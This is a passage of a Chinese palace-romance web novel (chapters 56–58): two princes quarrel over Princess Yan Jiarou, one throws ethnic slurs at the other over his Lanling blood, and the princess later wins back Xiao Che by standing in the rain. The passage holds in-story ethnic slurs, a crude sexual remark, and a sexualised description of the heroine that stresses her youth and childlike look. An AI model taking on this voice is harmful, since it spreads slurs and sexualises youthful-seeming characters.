“况且难道你忘了你曾经对我立下的那些誓言了吗?你忘了你父亲,还有你的老师教授你为人处事的准则了吗?你怎么能辜负他们?你怎么能三心二意,用情不专?嘉柔,告诉我,你并不是这样的人,是吗?” 颜嘉柔颤抖着唇瓣,脸上血色一点点褪去。 是,她不是这样的人,她不要做这样的人。 耳边是萧珏一遍遍的诘问与恳求,仿佛她再不说出那句话,她就成了十恶不赦的千古罪人,而萧珏,也将对她失望透顶,不想再活在这世间。 颜嘉柔无法,到底还是颤抖着闭上了双眼,重复了一遍他之前的话:“我对萧彻,从来没有男女之情,我只是把他当做我的药,等到我病好了,他便没了利用价值,到了那时,我自然不会再理他。” 话音刚落,房门便被人猛地一脚踹开。 萧彻面色阴沉地站在门口,神情极为可怖,一呼一吸间,都往外散发着戾气。 颜嘉柔在看到他的一刹那,脑子一片空白,面上血色褪尽,霎时变得惨白。 第56章 第56章修罗场(打起来了。)…… 萧彻一步步地走了进来,身上戾气渐炽。 颜嘉柔从他进门开始,目光就始终停留在他的身上,他每走一步,都像是踩在了她的心尖上,她脸色发白,唇瓣微微颤抖着,只觉连呼吸都变得困难。 等到萧彻终于立在床边时,她微仰起脑袋,试探着攥住他衣摆的一角,到底心存着一丝侥幸,问他道:“萧……萧彻,你什么时候……来的?” 萧彻低头冷漠地扫了她一眼,唇角挂着讥诮的笑:“来得不早不晚,刚好听完了皇妹的一番言论,过河拆桥,用完就丢,皇妹当真好决断。” 颜嘉柔脸色霎时又白了三分,眼中闪过一丝慌乱无措:“萧闻祈,我……” 她有心想要解释,张了张嘴,却是一个字都说不出来。 萧珏仍在场,她能说什么呢。 只是攥着萧彻衣摆的手,始终不肯松开。 萧彻面无表情地移开视线,转头看向萧珏,嗤道:“太子坐在自家皇妹的榻上,似乎于礼不合吧。” 萧珏从他一进门就死死地盯着他。 他不是没有注意到,自从萧彻进来之后,颜嘉柔的目光就再也没有从他身上移开过,萧彻对她态度冷淡,她更是一副快要哭出来的模样。 就连这会儿萧彻没再看她,她都不舍得松开他的衣袍一角,依旧仰头可怜巴巴地看着他。 那他呢?萧彻进来之后,她眼中可还有他吗?可曾看过他一眼? 想到这里,萧珏只觉心中邪火更盛。 他深深地一闭眼,攥紧了拳,到底还是从榻上站了起来,只是看向萧彻的目光却充满了怨毒,一开口,更是毫不留情地回讽:“说到合规矩,三弟于昨日寿宴中途离席,诱骗幼妹于假山行狎弄之举,那般亲她,如此轻薄,又是合的哪门子规矩?” “亲她怎么了?”萧彻散漫地一扯唇角,嗤了声:“我以后,还要c她呢。” “你!” 萧珏脸色骤变,一把拽过他的衣襟,整个人贴了上去,面容扭曲地瞪着他。 萧彻挑眉,不以为意地松了松被他拽紧的衣襟:“怎么,太子想打架啊。” 他嗤了声,懒洋洋地掀起眼皮,凑近他,用一种嘲弄的语气道:“是还嫌你的太子之位,坐得太安稳了吗?” 萧珏脸色骤变。 他原本便不得圣心,如今魏元帝宠幸萧衍,不光大肆宣扬他的功绩,今早听说他犯了腿疾,还特地恩赐他往后乘轿上朝,这可是前所未见的恩宠。 不光如此,他还下旨让他往后住在昭英殿。 昭英殿是什么地方? 昭英殿紧挨着东宫,并且离魏元帝最近,方便他随时传召,说句难听的,魏元帝沉迷丹药,身子日渐亏空,谁住在昭英殿,日后谁侍疾的机会就更多。 哪怕等魏元帝到了弥留之际,也是侍疾更勤的皇子陪在他身边的概率大些。 别的不说,先帝驾崩前说了什么话,有没有留下什么口谕,也全凭留下侍疾之人的一张嘴了。 而谁都知道,江沉鱼死后,魏元帝活不了多久了。 他原本就沉迷丹药,贵妃死后,更是为了追求在幻梦中与她相见,而不惜大量服用丹药,完全不顾惜自己的身子。 这样下去,死在丹药上,那也是迟早的事情罢了。 自从知道了自己的身世之后,萧彻对魏元帝既爱又恨,饶是如此,也曾劝诫过他不可短时间内大量服用丹药,以免造成不可挽回的后果。 彼时魏元帝倚靠在榻上,闻言睁开一双,只道:“彻儿,为父心中有数。” 后来,他果然收敛了不少。 但众人都知道,他的身子早已亏空,有些事,不过迟早。 在这样的前提下,让萧衍住进昭英殿,不可谓不微妙。 更不用说前段时间,他还同意让萧衍建立修文馆,有了这个名头,萧衍完全可以广纳天下名士为其所用。 种种迹象表明,魏元帝的易储之心,似乎已经昭然若揭了。 萧珏显然也想到了这一层,脸色已经十分难看。 还嫌你的太子之位坐得太稳了吗? 言下之意,分明是讥讽他的太子之位已经岌岌可危,若再在这里与他发生冲突,传出去,两位皇子为了幼妹争风吃醋、大打出手,萧彻自然没什么可畏惧的,在所有人的眼里,他从一开始就没了夺位的资格。 可萧珏不一样。 太子失德,可不是一件小事。 若是被御史台抓住大做文章,再由魏元帝授意,满朝附议,彻底把事情闹大,被废也不是没有可能。 萧珏愤恨地想,萧彻巴不得如此吧,虽然他倒台了,萧彻他也争不到储位,可萧衍能啊,他的亲弟弟萧衍,一向自甘堕落,不惜与兰陵孽种为伍,对他的亲哥哥痛下杀手,却对那卑贱的兰陵孽种兄弟情深得不得了。 呵,他一向最喜欢他的三弟,他登位了,萧彻自然跟着得道,届时只怕他要颜嘉柔,也只是萧衍一句话的事情。 萧珏想到此处,心中憎恶怨恨之极,面上却极力压制,只慢慢松开了他,皮笑肉不笑地道:“三弟,再怎么说,我也是当今太子,不出意外,便是未来的天子……” “三弟这般嚣张,是笃定萧衍日后必定取代孤么,倘若不成,孤做了天子,三弟就不怕日后被清算么?” “清算不清算的,”萧彻漫不经心地一笑,语调懒洋洋的:“也得二哥真能坐上那个位子才行。” “你!” 萧珏目眦欲裂,再也按压不住心中那股邪火,挥拳正要往他脸上砸,拳头将将落下时,却瞥见他唇边浮着的那点笑意。 一贯的漫不在乎,此时却多了几分嘲弄与挑衅。 萧珏一怔,原本被怒火冲昏的头脑渐渐回归几分理智。 萧彻分明是在故意激怒他。 他想让他先动手,这样他就可以肆无忌惮地还手了。 便是闹到魏元帝那里去,也是他更为理亏。 当朝太子率先动手殴打皇子,若传出去,便是板上钉钉的失德。 而在颜嘉柔这里,先动手的是他,萧彻便能扮做无辜,让她心软怜惜了。 可惜,他不会让他如愿的。 思及此,他慢慢放下了拳头,看着他,忽然诡秘一笑,上前一步,凑近他耳边,用一种只有他二人才能听得见的声音叫了他一声:“萧彻,” 他慢慢 地道:“你这个——杂种。” 说完之后,他察觉到萧彻的身子明显一僵,他便忍不住浮上一种扭曲的快意,他继续道:“嘉柔不过是把你当做一味药而已,所谓药,自然只作治病之用,药渣便该全都倒掉,一点不剩——你也就这么点价值了。” “便是偶有意乱情迷,也不过是因着你这张脸罢了,并不是真心喜欢你。你也知道吧,那些爱慕你的女子,无非是被皮相所惑,其实骨子里根本看不起你,没有人会真心喜欢一个卑贱的杂种的。” “你该庆幸你生在魏朝皇族,且是男子,若非如此,便该是千人骑万人睡的婊//子,哦,不过男子也好不到哪里去,孤倒忘记了,魏人建朝之初,兰陵人被大量俘获,女子的下场自不必多说,至于男子,当时京中的贵女不是盛行豢养兰陵男子为男宠么?” “堂堂男儿,竟在床榻之上供女人取乐狎弄,哈哈哈,比妓子还不如呢。” “说起来,我们的那位已故的姑姑,不也曾经豢养过两个兰陵面首么,说起来,那两名兰陵男子,倒还与你沾亲带故呢,啧啧,真是下贱啊。” “萧彻,这就是你的身世,你的血脉,你们兰陵一族,无论男女,一脉的祸国殃民,生性淫//荡,都只会以皮相迷惑勾引人,最是下贱不过,你是如此,你娘也是如此!你一个兰陵杂种,也敢跟孤女人?” “萧彻,记住了,你就是个杂种。这辈子,永远都不会有女人真心爱你。” “你的血脉,注定你根本不配得到真心,你这个下贱的杂种!” 他说完往后退了半步,观察萧彻的反应。 他一贯漫不在乎、仿佛对周遭一切都不以为意的神情,此刻终于出现了裂缝。 原本浅茶色的眼瞳,渐渐漫上了深色的纹路,像盛开在他瞳孔深处妖冶的花纹,这是兰陵人情绪剧烈波动的征象。 他看着他,缓缓攥紧了拳,一呼一吸之间,戾气喷涌而出。 萧珏勾起唇角,饶有兴味 他知道,他戳到他的痛处了。 幼时所经历的噩梦,终将成为桎梏他一生的牢笼。 他太清楚萧彻小时候经历过什么了,因为身上有一半兰陵血脉,被视作祸国不祥,他遭受了多少冷眼与欺凌。 在那些见不得光的角落里,甚至被太监嬷嬷围堵推搡,他们在宫中贵人那里受的气,便肆意发泄在他的身上。 那时他应该才七八岁吧。 毫无反手之力。 只能被迫承受着充满恶意的谩骂。 萧珏虽然已经记不清他们具体骂了些什么,但想想也知道,出现频率最高的无非是那两个词。 下贱。 杂种。 他知道,这两个词,将会成为萧彻终其一生都无法走出的阴影。 幼时遭受的一切,往往奠定了今后人生的基调,那两个词,那段暗无天日的时光,是很难从记忆中抹去的。 像是灵魂深处烙下的烙印。 尽管随着萧彻的逐渐长大,贵妃的宠爱只增不减,连带着萧彻也日益得宠,母子俩在这宫中的地位日渐稳固,萧彻从十四岁开始,他身上兰陵人的特性便开始显现,出色的身手,过人的骑射,较魏人更高的身形,以及,一骑绝尘的皮囊。 再没有人敢像儿时那样对待他,他也再不是那个只会任人欺凌的小孩了。 只是儿时留下耻辱的烙印,是怎么样也去不掉的,这是他的心魔。 他会喜欢颜嘉柔,大约很大程度上也是因为她曾是他在那段暗无天日的时光中,唯一的救赎。 下贱、杂种。 这两个词给当时年幼的他带来无数噩梦,他当时懵懂无知,不明白他究竟做错了什么,他们为什么要这么对他,只潜意识地认为是因为这两个词,下贱,杂种,可是……是什么意思呢,他们为什么要这么说他。 当时十四岁的萧珏微笑地跟他解释:是因为你的血脉不纯,混了一半的兰陵血统,兰陵人最是下贱,所以你也一般下贱,是个下贱的杂种。 他记得他当时面色惨白,几乎站立不稳,周围仿佛再度充斥了数不清的嘲讽和谩骂,那些不堪的语言、恶毒的诅咒,一遍遍地侵袭着他的耳膜,他神色痛苦,捂着耳朵,一个人踉跄地跑回宫,躲在柜子里发着抖。 江沉鱼找他找得都快疯了,三天三夜,翻遍了整个皇宫,后来才在柜子找到当时几乎已经奄奄一息的小萧彻。 后来他长大了,懂事理了,知道不必去理会那些愚昧之人的诋毁,便渐渐漫不在乎起来。 只是儿时的那段记忆,那两个词,依旧是他人生中挥之不去的梦魇。 也将他对血统的自卑与厌弃刻在了骨子里。 如今的风轻云淡、漫不经心,不过是被他尘封在记忆的深处,平时刻意不去想起。 可有人偏偏要不知死活地旧事重提,血肉淋漓地翻起那一段残忍无望的记忆。 那两个字词。 他平生,最恨这两个词。 他知道那都是魏人的诋毁,何其愚昧可笑,他不应该放在心上的,可儿时的他远没有现在通透豁达,他只知道,别人那么讨厌他是因为他的卑贱血统,这让他骨子里感到自卑与厌弃。 他恨自己,厌恶这样的自己,但更恨有人在他面前提及那两个字,那是他的逆鳞。 所以当萧珏第三次说出“杂种”这两个字时,他终于如他所愿,狠狠地攥紧拳头砸向了他的脸。 于是萧珏生平第一次感受到血统的压制。 他最看不起的卑贱血统,除了有过人的身手之外,力量几乎也是压倒性的。 他只觉脸上传来一阵剧痛,脑袋天旋地转,下一刻,便狠狠栽倒在了床上。 一摸唇角,竟已见血。 而萧彻打红了眼,显然不准备就此罢手。 就在他俯身准备从床上拎起他,再狠狠揍他几拳时,一旁的颜嘉柔却忽然张开双臂拦在了他的身前:“萧彻,你冷静一点!” 她回头看了一眼被打的鼻青脸肿的萧珏,一张小脸上写满了心疼,回头再度看向萧彻时,语气难免带上了几分责怪之意:“萧彻,你疯了吗?他是当今太子,是你的大哥,你怎么敢以下犯上,这么打他!” “你明明知道太子哥哥一向体弱,身手远不及你,却还下这样重的手,丝毫不顾及兄弟之情,你怎么会变成这样!” “算了嘉柔,”萧珏从床上坐起,抚摸着红肿的伤口,在一旁幽幽地开口:“三弟也是看到你与我在一起,一时冲动才会……” “那也不能这么打你呀……我……我可以解释的……” 她将萧珏牢牢地护在身后,仰起脑袋,颤抖着闭上了眼,一脸视死如归的表情:“你要想打他,就先打死我吧!” 话音落下,周遭的声音似乎瞬间湮没,一时房间内落针可闻。 萧彻瞳孔深处的纹路渐渐褪去。 他极缓慢地颤动了一下眼睫。 眼中渐渐流露出一种脆弱的空茫。 他看着一脸戒备地看着他,将另一个男人护在身后,并不惜以自己的性命相要挟,只为了保护另一个男人的颜嘉柔,无声地笑了下。 有那么一瞬间,他忽然觉得没意思透了。 何必呢。 他从来都知道,颜嘉柔喜欢的是萧珏。 他从不屑勉强。 是她忽然得了什么怪病,不知死活地招惹她,引他一再沉溺。 是她亲口说喜欢他,可转头为了向另一个男人辩白,便可那样轻易地说出利用二字。 这样轻飘飘的两个字,将他们这段时间的种种彻底抹杀。 那他算什么呢? 是她犯病时的一味药,还是她无聊时的消遣? 他从头到尾,根本什么都不是。 他冷嗤一声,浅色的瞳仁恢复往昔的淡漠,看向她的眼神再无波澜。 他最后看了她一眼,转身走了。 冷漠得就好像……她只是一个无关紧要的人。 就是那一眼,让颜嘉柔止不住地打了一个寒颤。 她不知想到了什么,脸色骤然变白,赤着一双足, 起身不管不顾地追了出去。 “萧彻……你别走……你等等我……” 她提着寝衣的裙摆,一路小跑,终于在外殿门口追到了萧彻。 她从身后拽住萧彻的袖口,一边不住地喘息着,胸口不停地起伏着,却仍是勉强开口,一遍遍地叫着他的名字:“萧……萧闻祈……” 萧彻终于停下脚步,转头看了她一眼,目光却是淬了冰似得冷,也不说话,只那般冷冷地看着她。 单只是那一眼,颜嘉柔的眼圈便瞬间红了,颤巍巍地道:“你……你还在生我的气么?” “你说呢?” “你……你别生气了好不好?” 萧彻看着她,面无表情地抽回了被她紧紧拽着的袖口。 颜嘉柔嘴巴一瘪,到底没忍住,开始啪嗒啪嗒掉眼泪:“我到底要怎么做……你……你才能原谅我?” 萧彻淡漠地垂下眼睑,近身凑至她耳边,只对她说了一个字:“滚。” 第57章 第57章抱一下又怎么了嘛,真小…… 颜嘉柔回到承欢殿后大哭了一场,连萧珏跟她讲话她都不理睬,等萧珏走后,她更是哭得旁若无人,眼泪跟决了堤似得。 那架势,像是不把自己哭晕过去便不罢休。 一旁映雪实在看不下去了,劝她道:“主子,你光哭有什么用,你就算把眼睛哭瞎了也于事无补啊,你要想三殿下回心转意,原谅您,便不能只躲在这儿哭啊。” 呜呜的哭声停顿了一瞬,颜嘉柔从被枕着的臂弯中抬起了头,一张粉白的小脸上遍布泪痕,浓密纤长的眼睫上颤颤地凝着泪珠。 一双黑白分明的漂亮眼眸里盈着泪,水光淋漓,将将要溢出来似得,就这么湿漉漉地看着她,抽噎着道:“那……那你说……有什么……呃……有什么办法?” 说完像是突然想起了什么,一扭头道:“哼,他竟然叫我‘滚’,我再也不想见到他了,才不会去讨好他呢!” 映雪凉凉道:“……那您在这儿哭什么。” 颜嘉柔一怔,突然哇的一声哭得更伤心了。 映雪叹了一口气:“好了主子,便不为别的,单为了您这怪病,您也不得不去讨好三殿下,让他原谅您。” 这段时间颜嘉柔频繁与萧彻幽会,身为颜嘉柔的贴身婢女,映雪自然不可能没有察觉。 颜嘉柔闻言耷拉着脑袋,手指绞弄在一起,有些懊丧地道:“可是……他好像真的生气了……我不知道要怎么样讨好他了……” “您想想,从前您和他待在一块儿的时候,他最愿意听您说什么,您做什么他会开心?” 最愿意听她说什么,她做什么他会开心…… 他最愿意听的,自然是她说喜欢他,至于最喜欢做的么……颜嘉柔脸一红,把脑袋埋得更低了,支支吾吾地不肯说。 后面不知道想到了什么,眼神黯淡了下来,低低地道:“经过这件事之后……他……他不会再吃那一套了……” “吃与不吃,总要试过才知道,主子,您还没试呢,就说这种丧气话。” “可是……可是……” “别可是啦,”映雪走了过来,双手搭在她的肩上,替她将鬓边哭乱的一缕散发拨到耳后,完整地露出她的耳廓,耳坠上的珍珠轻轻晃动,莹润的光泽一闪,映照在她的脸颊上,越发衬着她肤色白腻。 映雪不由得打量起她来。 她有一身雪白细腻的皮肉,是从小金玉堆里养出来的。 她近身伺候过她,知道她通体雪白,绝无一丝瑕疵,这一身的皮肉都娇嫩雪白,好似能掐出牛乳来。 年纪虽小,身段却已经长得极好,纤腰不盈一握,丰盈饱满处呼之欲出。 五官精致侬丽,肌肤白里透红,像是一颗饱满多汁的蜜桃,轻轻一吮,就能淅淅沥沥地淌出蜜汁来。 虽生得妩媚勾人,偏脸上颊肉未褪、稚气未消,美眸含着潋滟春色,却又透着一种不谙世事的天真与懵懂。 真正是又纯又欲,交织在一起,有种别样的风情。 最会勾起人内心不为人道的凌虐欲,可这样娇滴滴的小美人,真的到了近前,又有哪个忍心欺负她? 映雪走了一会神,这时回过神来,看着她的花颜月貌,忍不住道:“俗话说得好,见面三分情,主子长得这般美貌动人,又有谁舍得苛责你呢。” “先别总想着他肯不肯原谅你,今天他正在气头上,说话自然犯冲,等明日他气消了,你再去见他,说些软话,撒撒娇,您不是最会撒娇了么,别的先不说,他见了你,心就先软了三分。” 颜嘉柔不太确信:“是……是么。” “是与不是,您明日亲自去试试不就知道了么。” —— 等到了明日,颜嘉柔却又扭扭捏捏地不肯去了:“映雪,要不还是算了吧,我害怕……” 她怕萧彻又冷着脸叫她滚,那样的场景,她光是想到便觉得心脏一阵绞痛。 这段时间萧彻与她亲密无间、耳鬓厮磨,依偎在他怀里,每天听到的都是不重样的情话。 他很擅长调情,手段高明不说,花样更是层出不穷,嗓音透着磁性,很适合讲各种情话,好听极了。 对着那样一张脸,那样蛊人的一双眼睛,耳边缭绕着动听酥麻的情话,她几乎很难保持清醒,每天都是晕晕乎乎的,像是踩在软绵绵的云端上。 她不记得萧彻对她说了多少次喜欢,但他对她千依百顺、予取予求,为了她一遍遍地取血,一遍遍地忍痛,对上她的视线时,却依旧笑得散漫,只道:“没什么,只要是颜颜想要的,我都会给。”,他该是很喜欢她的吧。 可就是这样一个人,昨天却冷冰冰地叫她滚。 这种落差太大了,像是从云端骤然跌落,前一日还捧着她、宠着她的人,今天却忽然叫她滚,她根本接受不了。 刚好这时窗外日头暗了下来,原来是两团乌云聚拢,遮住了太阳,看样子是风雨欲来的前兆,这可总算给她找到借口了:“喏,看着这天快要下雨了,要是他……他不让我进去,我就得在外面淋雨,要不……要不还是明日再去吧。” 映雪转头看着窗外的天色,略一思忖,却道:“不,偏要这时去。” 颜嘉柔呆呆地看着她:“……啊?” 映雪转头看了一眼颜嘉柔,见她一张精致的小脸上写满了不解与茫然,不由得轻叹了口气。 她的这位小主子,实在是美丽有余,聪明不足。 “主子,你想让他心软,最好的方法,就是让他心疼。” 她说着附耳过去与颜嘉柔说了些什么,颜嘉柔从一开始的迷茫不解到后来渐渐变得狐疑犹豫:“这……这能行么?” “行与不行,您试试不就知道了?” “可是映雪……我……” “主子,”映雪打断她道:“别可是了,您不想要他的血了么?再拖下去,你的身子也受不了,倘若非得拖到怪病发作之后再去求他,岂不是更加狼狈?” 颜嘉柔眼中浮着水汽,一张小脸皱了起来,可怜巴巴地看着她。 映雪叹了口气道:“主子,这事实在没人能替你。” 颜嘉柔抬手擦拭了泪水,闷闷地应了一声。 她心中明白,这一趟,她再不想去,也只能硬着头皮去。 身体已经开始出现躁动,留给她的时间不多了。 “只是……”颜嘉柔以手支颐,歪着脑袋,有些担忧地道:“我这回去找他,也不知道要淋多久的雨,会染上风寒么。”染上风寒就要喝药,那些药苦得要命,她最讨厌喝了! “主子放心,”映雪弯唇道:“您不会淋多久雨的。” —— 薛止进来通禀说清河公主求见时,萧彻正在灌酒,闻言当即摔了酒瓶,冷笑道:“滚……叫她给我滚!” 玉执壶砸在地上,顷刻间四分五裂,溅起一地碎片。 薛止下意识地后退一步,匆匆告退了。 —— 殿门口,薛止一脸为 难地看着眼前的少女,斟酌着开口:“公主,要不您还是改日再来吧……” 眼底的水汽霎时漫了上来,颜嘉柔强忍着泪意,只是一瞬不瞬地盯着他:“他不肯见我是不是?” “这……殿下还在气头上呢,”说着往前走了一步,忍不住压低声音打探道:“你们又吵架了?” 嘉柔不理他,只是有些怔然地颤动了一下眼睫,自顾自地道:“我要见他,我一定要见他的。” 她原本虽说是不想来的,可眼下既然来了,就没有悻悻而归的道理,这会子被他拒之门外,气性也上来了,憋着一口气,今日却是非见不可。 她看着他,定定地道:“他要是不肯见我,我就一直站在这儿,等他出来见我为止。” “哎哟,我的小公主,您又何必犯倔呢。” 颜嘉柔低着头不说话。 眼见着颜嘉柔不听劝,他叹了一声,也只好作罢。 正要转身回去,不防天边突然传来一声闷雷,他抬头望去,只见乌云滚滚,雷声沉闷,一道闪电劈开天幕,眼见着便要下雨了。 这个念头刚起,下一刻,瓢泼大雨便淋头浇下。 夏日的暴雨来得急,势也大,大多是雷阵雨,只是也有一下便下好久的。 这样大的雨,常人自然是避之不及,薛止用手挡着雨,正要小跑回去,想到身后的颜嘉柔尚还站在雨中,到底还是忍不住回身劝道:“清河公主,您身子金贵,这雨又这样大,可别淋出个好歹来。” “听奴才一句劝,您还是先回去吧,大不了等雨停了再过来。” 这场雨确实很大,且一时半会,根本没有停下来的意思。 不过片刻,颜嘉柔浑身上下都湿透了。 衣裙紧紧贴在身上,发髻也全都被打湿了,湿发黏在脸颊上,淅淅沥沥地往下淌着雨水。 连纤长浓密的睫毛上,都沾满了雨水。 她眨了眨眼,便有雨珠从颊边滚落。 她一向娇生惯养,几时吃过这样的苦。 这会脸色苍白,身子已经开始发抖。 不过是憋着一口气,硬撑着站在雨中。 一开始她确实是听了映雪的嘱咐,依言照做,想用这个法子让萧彻心软,逼他现身,可这会子更多的却是赌气,萧彻不肯见他,她便偏偏要等在这里! “我说了,我今天是一定要见到他的,他要是不肯见我,我就一直站在这儿,等他出来见我为止。” “清河公主,您这又是何苦?” 薛止叹了口气,抬手挡着雨,匆匆往回跑去。 公主犯倔,是劝不成了,为今之计,便只能去劝另一位。 —— 将这事禀告给萧彻,不出意外又惹得他发了好大一通脾气:“我都说了让她滚,听不见吗!她爱站在外面就站在外面,与我有什么干系,用得着你特地过来告诉我一声?我叫她滚,便是不见她,薛止,我的话,你是听不懂吗!” 薛止抬手擦拭着额头的冷汗,斟酌着开口:“主子,外面下雨了,雨势很大,公主这身子,怕是经不住……” 萧彻脸上的神情有片刻的凝滞,他滚动了一下喉结,很快便又突地响起一记冷笑:“她经不经受得住,与我有什么干系?” “经不住更好,省得再来烦我,我还落个清静。” 薛止一噎,徒劳地张了张嘴,话说到这个份上,似乎已经没有再开口求情的必要,那娇滴滴的小公主,也只能自求多福了。 想到这里,薛止轻轻叹了口气,转身往回走,可才刚刚走到门口,便听身后传来一阵脚步声,步履匆匆,多少显得有些急切。 薛止一愣,转头一看,可不正是自家主子? 他这是……要去哪? 难不成是忽然想通了,想去见小公主? 可他刚刚明明……放了那样的狠话…… 正胡思乱想间,已越过他走在前面的萧彻忽然停下脚步,转头皱眉看了他一眼:“还愣着做什么,还不去拿伞?” “啊?哦……” 他偷偷抬头看了他两眼,有心想问自家主子一句话,但到底没敢开口。 对上他探究怀疑的目光,萧彻脊背绷直了几分,面色不变,只道:“她是死是活,我根本毫不关心,我只是不想让她死在我的门口罢了。” 薛止:“…………是。” —— 雨越下越大,铺天盖地。 周遭一切都被雨水吞没,偌大的天地间,仿佛只能听见哗哗的雨声。 颜嘉柔觉得她快要死了。 豆大的雨点砸在身上,渐渐地已经感受不到疼了,只剩一种空洞的麻木。 身上越来越冷,牙齿都忍不住打颤。 明明是来道歉求和的,可随着时间的流逝,赌气的意味却越来越重。 对,一开始是她让萧彻生气了,她承认是她不对,可现在她却越来越开始生他的气了,他凭什么连见都不肯见她。 若是他再不出来见她,那今后便再也不见好了。 她宁可被怪病折磨死,也决不会再来求他! 她深吸一口气,缓缓攥紧了手,在心中默数了三个数,三…… 倘若数到一,萧彻还不出现的话,那她就再也不要见他了! 二…… 一…… 头顶上方忽然传来一阵密集清晰的雨点声,像是拍打在纸面上,身上却不再有雨水浇打。 似乎……是有人为她撑起了伞。 她哆嗦了一下,整个人清醒了几分,颤巍巍地抬起了头。 雨水模糊了视线,她眨了眨眼,凝在纤长眼睫上的雨水缓缓淌落,视线逐渐变得清晰。 白皙修长的手指执着一截伞骨,视线往上,天青色伞面下,露出一张淬玉般的脸。 不是萧彻又是谁?、 身上承受的苦楚和内心经受的折磨,在见到萧彻的一瞬间,全都化作漫天的委屈。 她哭着扑进他的怀里,双手牢牢搂住他的腰身,呜咽着道:“萧彻,我以为你再也不要见我了……” 萧彻喉结滚动,感受着怀中冰凉的不成样子的身体,眉心深陷:“松开。” 颜嘉柔瑟缩了一下,不太开心地往他怀里拱了拱,末了到底还是不情不愿地松开了他:“小气,抱一下又会怎么样。” 她低垂着脑袋,视线刚好落在他的身前,云缎上不知何时已经泅染开一大片水渍,她这才后知后觉地想起是被自己弄的。 她顿时有些心虚:“对……对不起,我不是故意的……我忘记我自己全身都湿透了……”说着连忙伸手帮他擦拭着身前的水渍:“我……我给你擦擦……你别生气。”一边抬头小心翼翼地观察他的神色,她怕他又生气了,他们俩都还没和好呢,可不能再惹他生气。 不防手腕忽然被他一把攥住,萧彻面上一片愠色:“颜嘉柔,你想死吗?把自己弄成这样,想死就直说。” 颜嘉柔被他这几句话给问懵了,呆呆地看着他,仿佛不可置信似得,眸底霎时漫上一片水雾:“你这么凶干什么!我都说了我不是故意的了!” “哦?不是故意的?不是故意的你下雨不知道躲?不是故意的你特地站在我的殿门口来淋雨?” “那还不是你一直不肯见我!”颜嘉柔越说越委屈,眼泪啪嗒啪嗒地往下掉,偏过头胡乱擦拭了一把:“你以为我喜欢淋雨吗,那么大的雨点砸在身上,又冷又疼,我感觉都快要死掉了。” 萧彻深看了她一眼,喉结上下滚动:“跟我进去。” 说着便要去拉她的手,却被她侧身躲过:“我不进去。” “我这样进去算什么呢?如果你只是让我在檐下躲雨,等雨停了,又动不动叫我滚,那我还不如不进去。” 她仰起脸,乌黑的瞳仁一瞬不瞬地盯着他,像是一场无声的博弈:“你……你要告诉我,我这样进去算什么。” 萧彻皱眉:“颜嘉柔,你到底想干什么?” 没听到想要的答案,颜嘉柔再也控制不住情绪,不管不顾地道:“ 我要淋死自己,让你没有妹妹!” 萧彻轻哂:“那你自便,我的妹妹多的是,不差你一个。” “你!你不是说我与其他妹妹不一样么……” 萧彻若有所思地看了她一眼,凉凉地道:“现在一样了。” 颜嘉柔嘴巴一瘪,哭得更伤心了。 “呜呜呜……那你走吧,你别管我了,反正你有那么多妹妹,也不差我一个,你还管我做什么……让我淋死在这里算了……” 萧彻皱眉看着她,她也不甘示弱,仰头与他对视,雪腮一鼓一鼓的,未干的发丝依旧往下滴着雨水,模样狼狈委屈中又透着一股倔劲。 她在威胁他。 他平生最讨厌被威胁。 萧彻看了她好一会儿,最终还是道:“跟我进去。” 颜嘉柔眼睫轻轻颤动了一下,紧咬着唇瓣:“跟你去哪里,算什么,你说清楚……” 萧彻冷笑了一声:“你不是有话要跟我说吗?” 他看着她:“有什么想解释的,现在跟我进来,我们去书房。” ——“我给你这个机会。” 第58章 第58章“我等着你收拾我呢。”…… 嘉柔亦步亦趋地跟在萧彻身后,等进了外殿,萧彻随手指派了个嬷嬷,让她把颜嘉柔领下去。 颜嘉柔闻言立刻,一张小脸上写满了警惕,雪腮鼓起,上前捏住了他的袖口:“你……你干什么,你说好要带我去书房的,你不能说话不算数。我只跟着你,我不要跟别人下去。” 萧彻侧身,有些诧异地看了她一眼:“……我从前怎么没发现你这么黏人呢。” 颜嘉柔眨了眨眼,眸底水汽又漫了上来。 萧彻皱眉:“你确定要这么跟我去书房?” 颜嘉柔茫然地看着他。 萧彻:“湿衣服就这么穿在身上,你不难受啊?” “你不难受,我看着都难受。” “先下去跟嬷嬷把衣服换了,再来书房找我。” 原来只是让她换衣服,并不是想就这样把她打发了。 嘉柔立刻不哭了,笑得眉眼弯弯,轻轻晃了晃他的手臂,黏黏糊糊地道:“那……那你要等我哦。” 萧彻喉结滚动,看了她一眼,语气算不得好:“快点。” “嗯嗯!” —— 嬷嬷把颜嘉柔带去了偏殿,替她仔细擦干了水渍之后,拿了套宫婢的衣服让她换上。 颜嘉柔的衣裙都是量身定做的,寻常宫婢的衣服并不合身,胸前被勒的太紧,鼓囊囊地撑胀起一片前襟,她呼吸都有些不畅。 可眼下也顾不了许多,为了快些见到萧彻,她匆匆换上就跟着嬷嬷去了书房。 嬷嬷把颜嘉柔带到门口便躬身告退。 嘉柔站在书房门口,深吸了一口气,试探地推开了房门。 —— 萧彻坐在紫檀木的桌案后,正低头翻阅着一本卷宗,窗外骤雨未歇,天色昏暗,屋内便点了灯。 他已换了一件月白斓衫,倒是平添了一分清润。 灯光映照在他的脸上,烛火跳跃,越发显得他一张脸俊美至极。 听到动静,他从卷宗中抬起了头,只淡淡地看她一眼:“还不过来?” 颜嘉柔吞咽了一口口水,因着衣裳不合身,走路时便有些不太自然。 及至走到萧彻身旁,有些局促地低着头,余光瞥见桌案上搁置着一碗参汤,似乎是刚端上来不久,正袅袅冒着热气,便没话找话地道:“三哥哥,你在喝姜汤么。” 萧彻打量了她一眼,淡淡道:“这是给你的。” “给……给我的?” “不然呢,我又没淋着雨,喝什么姜汤?倒是你,淋成了一只彻头彻尾的落汤鸡,所以我才特地让人煮了一碗姜汤送过来。” 话说到这里,颜嘉柔心中刚有几分感动,便见他一张俊脸凑了过来,略扯了唇角,凉凉地道:“省得某人待会解释的时候,把风寒过给了我。” “——那我不是冤死了?” 那一点热乎的感动还没没来得及回味,便瞬间烟消云散。 颜嘉柔不可置信地看着他,胸脯起伏,小脸气得通红:“你!我才没有感染风寒,我好得很!这姜汤又不好喝,我才不喝!” “颜嘉柔。”他叫了她一声。 被他连名带姓地这么一叫,她的气焰顿时小了不少:“做……做什么。” “想继续待在这里的话,”他屈起食指,指关节朝下,叩击了桌面:“把这个喝了。” 颜嘉柔皱着一张小脸,不是很情愿。 萧彻似乎又变回了从前的那个萧彻,那个与她针锋相对,只知道欺负她,从不肯给她好脸色的萧彻。 